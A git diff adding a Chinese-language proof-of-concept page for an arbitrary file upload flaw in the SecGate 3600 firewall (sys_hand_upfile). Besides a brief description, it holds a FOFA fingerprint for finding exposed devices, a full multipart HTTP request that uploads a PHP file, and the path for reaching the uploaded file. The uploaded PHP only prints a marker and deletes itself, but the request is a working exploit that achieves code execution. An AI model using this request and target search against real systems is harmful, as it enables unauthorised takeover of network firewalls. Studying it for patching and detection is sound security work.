diff --git a/网神SecGate 3600 防火墙sys_hand_upfile 任意文件上传漏洞.md b/网神SecGate 3600 防火墙sys_hand_upfile 任意文件上传漏洞.md
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+## 网神SecGate 3600 防火墙sys_hand_upfile 任意文件上传漏洞
+
+ 网神 SecGate 3600 防火墙 sys_hand_upfile 存在任意文件上传漏洞，攻击者可构造特殊 HTTP 请求上传任意文件获取服务器权限，执行恶意命令等。
+
+ ## fofa
+ ```
+body="./images/lsec/login/loading.gif"
+```
+
+## poc
+```
+POST /?g=sys_hand_upfile HTTP/1.1
+Host: 127.0.0.1
+User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows 98; Trident/3.0)
+Content-Length: 244
+Accept: */*
+Accept-Encoding: gzip, deflate, br
+Connection: keep-alive
+Content-Type: multipart/form-data; boundary=gttd4i4aadwh9lmlp1ez
+ 
+--gttd4i4aadwh9lmlp1ez
+Content-Disposition: form-data; name="upfile"; filename="ceshi.php"
+ 
+<?php echo md5('666');unlink(__FILE__);?>
+--gttd4i4aadwh9lmlp1ez
+Content-Disposition: form-data; name="submit_post"
+ 
+sys_hand_upfile
+--gttd4i4aadwh9lmlp1ez--
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/6ba66f9f-affd-4600-ac29-2cfe98502b45)
+
+访问文件路径
+http//127.0.0.1/attachements/ceshi.php